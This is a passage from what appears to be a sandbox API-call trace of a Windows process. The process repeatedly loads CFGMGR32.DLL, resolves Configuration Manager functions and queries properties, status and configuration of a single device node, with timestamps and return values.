_Src=0x196ee85e818, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0217.898] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0217.898] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0217.899] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.899] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.902] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.902] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.902] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.902] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.902] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.903] malloc (_Size=0x18) returned 0x196ef0d1c00 [0217.904] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0217.913] malloc (_Size=0x48) returned 0x196ef0fb270 [0217.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x62bdfcb8, dwHighDateTime=0x1d9eb0c)) [0217.914] SetEvent (hEvent=0x248) returned 1 [0217.918] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.918] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.918] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.919] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.919] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.919] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.919] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.919] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.922] malloc (_Size=0x18) returned 0x196ef0d1a20 [0217.923] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0217.923] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0217.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x62bdfcb8, dwHighDateTime=0x1d9eb0c)) [0217.923] SetEvent (hEvent=0x248) returned 1 [0218.113] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.113] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.117] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0218.117] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.118] malloc (_Size=0x48) returned 0x196ef0fbea0 [0218.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x62dcfc2f, dwHighDateTime=0x1d9eb0c)) [0218.118] SetEvent (hEvent=0x248) returned 1 [0218.122] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.122] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.126] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0218.126] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.127] malloc (_Size=0x48) returned 0x196ef0fbcc0 [0218.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x62df5fca, dwHighDateTime=0x1d9eb0c)) [0218.127] SetEvent (hEvent=0x248) returned 1 [0218.134] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.134] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.139] malloc (_Size=0x18) returned 0x196ef0d1d80 [0218.140] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.143] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0218.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x62e1bf71, dwHighDateTime=0x1d9eb0c)) [0218.143] SetEvent (hEvent=0x248) returned 1 [0218.148] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.148] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.152] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.153] malloc (_Size=0x18) returned 0x196ef0d19e0 [0218.153] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xe, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0218.153] malloc (_Size=0x48) returned 0x196ef0fba40 [0218.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x62e1bf71, dwHighDateTime=0x1d9eb0c)) [0218.154] SetEvent (hEvent=0x248) returned 1 [0218.235] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.235] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.237] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.239] malloc (_Size=0x18) returned 0x196ef0d2020 [0218.239] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xe, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0218.239] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0218.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x62f00e35, dwHighDateTime=0x1d9eb0c)) [0218.240] SetEvent (hEvent=0x248) returned 1 [0218.243] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.243] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.247] malloc (_Size=0x18) returned 0x196ef0d1d00 [0218.247] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0218.247] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0218.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x62f00e35, dwHighDateTime=0x1d9eb0c)) [0218.247] SetEvent (hEvent=0x248) returned 1 [0218.252] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.252] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 